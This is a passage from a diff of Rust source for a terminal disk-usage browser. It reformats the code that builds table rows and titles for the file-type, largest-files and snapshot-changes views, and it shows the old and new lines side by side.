row.cells = vec![std::mem::take(&mut row.cells[0]), std::mem::take(&mut row.cells[1]), std::mem::take(&mut row.cells[5])]; row.cells = vec![
std::mem::take(&mut row.cells[0]),
std::mem::take(&mut row.cells[1]),
std::mem::take(&mut row.cells[5]),
];
row.styles = vec![None, row.styles[1], row.styles[5]]; row.styles = vec![None, row.styles[1], row.styles[5]];
} }
} }
@@ -247,22 +279,56 @@ impl ExtView {
let rows: Vec<TableRow> = st let rows: Vec<TableRow> = st
.iter() .iter()
.map(|s| { .map(|s| {
let ext = if s.ext.is_empty() { "(none)".to_string() } else { format!(".{}", s.ext) }; let ext = if s.ext.is_empty() {
let c = t.ext.as_ref().and_then(|e| e.get(&s.ext)).copied().unwrap_or(t.cat[s.cat as usize]); "(none)".to_string()
let frac = if v0 > 0 { pick(m, s) as f64 / v0 as f64 } else { 0.0 }; } else {
format!(".{}", s.ext)
};
let c = t
.ext
.as_ref()
.and_then(|e| e.get(&s.ext))
.copied()
.unwrap_or(t.cat[s.cat as usize]);
let frac = if v0 > 0 {
pick(m, s) as f64 / v0 as f64
} else {
0.0
};
TableRow { TableRow {
cells: vec![textutil::sanitize(&ext), s.cat.name().into(), textutil::count(s.count), textutil::size(pick(m, s)), cells: vec![
textutil::percent(pick(m, s), total), String::new()], textutil::sanitize(&ext),
styles: vec![Some(Style::new(c, t.bg).with(BOLD)), Some(Style::new(t.muted, t.bg)), None, None, s.cat.name().into(),
Some(Style::new(t.muted, t.bg)), None], textutil::count(s.count),
textutil::size(pick(m, s)),
textutil::percent(pick(m, s), total),
String::new(),
],
styles: vec![
Some(Style::new(c, t.bg).with(BOLD)),
Some(Style::new(t.muted, t.bg)),
None,
None,
Some(Style::new(t.muted, t.bg)),
None,
],
bar: frac, bar: frac,
bar_col: c, bar_col: c,
} }
}) })
.collect(); .collect();
let cols = [col("EXTENSION", 14, false, false), col("CATEGORY", 12, false, false), col("FILES", 11, true, false), let cols = [
col("SIZE", 10, true, false), col("%", 5, true, false), col("", 0, false, false)]; col("EXTENSION", 14, false, false),
let title = format!("File types under {} — Enter filters the map by extension", san(&tr.node(m.zoom).name)); col("CATEGORY", 12, false, false),
col("FILES", 11, true, false),
col("SIZE", 10, true, false),
col("%", 5, true, false),
col("", 0, false, false),
];
let title = format!(
"File types under {} — Enter filters the map by extension",
san(&tr.node(m.zoom).name)
);
self.tb.paint(m, cv, r, &cols, &rows, &title); self.tb.paint(m, cv, r, &cols, &rows, &title);
} }
@@ -273,7 +339,11 @@ impl ExtView {
} }
if (k == "enter" || k == "space") && self.tb.at() < st.len() { if (k == "enter" || k == "space") && self.tb.at() < st.len() {
let e = &st[self.tb.at()].ext; let e = &st[self.tb.at()].ext;
let q = if e.is_empty() { "type = file AND ext = \"\"".to_string() } else { format!("ext = \"{e}\"") }; let q = if e.is_empty() {
"type = file AND ext = \"\"".to_string()
} else {
format!("ext = \"{e}\"")
};
m.set_view_by_name("Map"); m.set_view_by_name("Map");
return (true, m.set_filter(&q)); return (true, m.set_filter(&q));
} }
@@ -295,10 +365,25 @@ enum TopMode {
Hardlinks, Hardlinks,
} }
const TOP_MODES: [TopMode; 7] = [TopMode::Files, TopMode::Dirs, TopMode::Old, TopMode::New, TopMode::Count, TopMode::Sparse, TopMode::Hardlinks]; const TOP_MODES: [TopMode; 7] = [
TopMode::Files,
TopMode::Dirs,
TopMode::Old,
TopMode::New,
TopMode::Count,
TopMode::Sparse,
TopMode::Hardlinks,
];
const TOP_NAMES: [&str; 7] = ["Largest files", "Largest directories (own files)", "Oldest large files", "Newest large files", const TOP_NAMES: [&str; 7] = [
"Most files", "Sparse files", "Hard-linked files"]; "Largest files",
"Largest directories (own files)",
"Oldest large files",
"Newest large files",
"Most files",
"Sparse files",
"Hard-linked files",
];
const TOP_LIMIT: usize = 500; const TOP_LIMIT: usize = 500;
@@ -319,7 +404,9 @@ impl TopView {
return; return;
} }
(self.cache_key, self.computed) = (k, true); (self.cache_key, self.computed) = (k, true);
let is_file = |n: &crate::inventory::Node| n.kind == Kind::File && n.flags & (FLAG_HARDLINK_DUP | FLAG_DELETED) == 0; let is_file = |n: &crate::inventory::Node| {
n.kind == Kind::File && n.flags & (FLAG_HARDLINK_DUP | FLAG_DELETED) == 0
};
let matches = |id: NodeId| m.search.result.as_ref().is_none_or(|r| r.size(id) > 0); let matches = |id: NodeId| m.search.result.as_ref().is_none_or(|r| r.size(id) > 0);
let mut tk = TopK::new(TOP_LIMIT); let mut tk = TopK::new(TOP_LIMIT);
let mut val: HashMap<NodeId, i64> = HashMap::new(); let mut val: HashMap<NodeId, i64> = HashMap::new();
@@ -358,7 +445,14 @@ impl TopView {
} }
TopMode::Old | TopMode::New => { TopMode::Old | TopMode::New => {
if sz >= LARGE_FILE && n.mtime > 0 { if sz >= LARGE_FILE && n.mtime > 0 {
tk.offer(id, if mode == TopMode::Old { -n.mtime } else { n.mtime }); tk.offer(
id,
if mode == TopMode::Old {
-n.mtime
} else {
n.mtime
},
);
val.insert(id, sz); val.insert(id, sz);
} }
} }
@@ -390,8 +484,16 @@ impl TopView {
let mut rows = Vec::with_capacity(self.ids.len()); let mut rows = Vec::with_capacity(self.ids.len());
for (i, &id) in self.ids.iter().enumerate() { for (i, &id) in self.ids.iter().enumerate() {
let n = tr.node(id); let n = tr.node(id);
let val = if self.mode == TopMode::Count { textutil::count(self.vals[i]) } else { textutil::size(self.vals[i]) }; let val = if self.mode == TopMode::Count {
let modified = if n.mtime > 0 { fmt_date(n.mtime) } else { String::new() }; textutil::count(self.vals[i])
} else {
textutil::size(self.vals[i])
};
let modified = if n.mtime > 0 {
fmt_date(n.mtime)
} else {
String::new()
};
let frac = if first > 0 && self.mode != TopMode::Old && self.mode != TopMode::New { let frac = if first > 0 && self.mode != TopMode::Old && self.mode != TopMode::New {
self.vals[i] as f64 / first as f64 self.vals[i] as f64 / first as f64
} else { } else {
@@ -400,12 +502,20 @@ impl TopView {
let c = m.color_of(tr, id as i64); let c = m.color_of(tr, id as i64);
rows.push(TableRow { rows.push(TableRow {
cells: vec![val, modified, String::new(), san(&tr.path_bytes(id))], cells: vec![val, modified, String::new(), san(&tr.path_bytes(id))],
styles: vec![None, Some(Style::new(t.muted, t.bg)), None, Some(Style::new(c.mix(t.fg, 0.45), t.bg))], styles: vec![
None,
Some(Style::new(t.muted, t.bg)),
None,
Some(Style::new(c.mix(t.fg, 0.45), t.bg)),
],
bar: frac, bar: frac,
bar_col: c, bar_col: c,
}); });
} }
let mut title = format!("◂ {} ▸ (←/→ change list · Enter details · Space jump to it)", TOP_NAMES[self.mode as usize]); let mut title = format!(
"◂ {} ▸ (←/→ change list · Enter details · Space jump to it)",
TOP_NAMES[self.mode as usize]
);
if m.search.result.is_some() { if m.search.result.is_some() {
title += " · filtered"; title += " · filtered";
} }
@@ -414,7 +524,12 @@ impl TopView {
TopMode::Sparse => "SAVED", TopMode::Sparse => "SAVED",
_ => "SIZE", _ => "SIZE",
}; };
let cols = [col(val_title, 10, true, false), col("MODIFIED", 10, false, false), col("", 10, false, false), col("PATH", 0, false, true)]; let cols = [
col(val_title, 10, true, false),
col("MODIFIED", 10, false, false),
col("", 10, false, false),
col("PATH", 0, false, true),
];
self.tb.paint(m, cv, r, &cols, &rows, &title); self.tb.paint(m, cv, r, &cols, &rows, &title);
} }
@@ -487,18 +602,45 @@ impl ChangesView {
Status::Unchanged => Color::default(), Status::Unchanged => Color::default(),
}; };
TableRow { TableRow {
cells: vec![textutil::signed_size(c.delta), c.status.name().into(), textutil::size(c.old), textutil::size(c.new), cells: vec![
String::new(), textutil::sanitize(&c.path)], textutil::signed_size(c.delta),
styles: vec![Some(Style::new(col, t.bg).with(BOLD)), Some(Style::new(col, t.bg)), Some(Style::new(t.muted, t.bg)), None, None, None], c.status.name().into(),
textutil::size(c.old),
textutil::size(c.new),
String::new(),
textutil::sanitize(&c.path),
],
styles: vec![
Some(Style::new(col, t.bg).with(BOLD)),
Some(Style::new(col, t.bg)),
Some(Style::new(t.muted, t.bg)),
None,
None,
None,
],
bar: c.delta.abs() as f64 / max_abs as f64, bar: c.delta.abs() as f64 / max_abs as f64,
bar_col: col, bar_col: col,
} }
}) })
.collect(); .collect();
let cols = [col("CHANGE", 13, true, false), col("STATUS", 9, false, false), col("OLD", 10, true, false), let cols = [
col("NEW", 10, true, false), col("", 10, false, false), col("PATH", 0, false, true)]; col("CHANGE", 13, true, false),
let (ro, rn) = (d.old.node(0).total(m.size_mode), tr.node(0).total(m.size_mode)); col("STATUS", 9, false, false),
let title = format!("Changes {} → {} ({})", textutil::size(ro), textutil::size(rn), textutil::signed_size(rn - ro)); col("OLD", 10, true, false),
col("NEW", 10, true, false),
col("", 10, false, false),
col("PATH", 0, false, true),
];
let (ro, rn) = (
d.old.node(0).total(m.size_mode),
tr.node(0).total(m.size_mode),
);
let title = format!(
"Changes {} → {} ({})",
textutil::size(ro),
textutil::size(rn),
textutil::signed_size(rn - ro)
);
self.tb.paint(m, cv, r, &cols, &rows, &title); self.tb.paint(m, cv, r, &cols, &rows, &title);
} }
@@ -511,7 +653,10 @@ impl ChangesView {
let c = &self.rows.as_ref().unwrap()[self.tb.at()]; let c = &self.rows.as_ref().unwrap()[self.tb.at()];
if c.node == NO_NODE { if c.node == NO_NODE {
if k == "enter" || k == "space" { if k == "enter" || k == "space" {
let msg = format!("Removed since the old snapshot: {}", textutil::sanitize(&c.path)); let msg = format!(
"Removed since the old snapshot: {}",
textutil::sanitize(&c.path)
);
return (true, m.info(msg)); return (true, m.info(msg));
} }
return (false, Cmd::None); return (false, Cmd::None);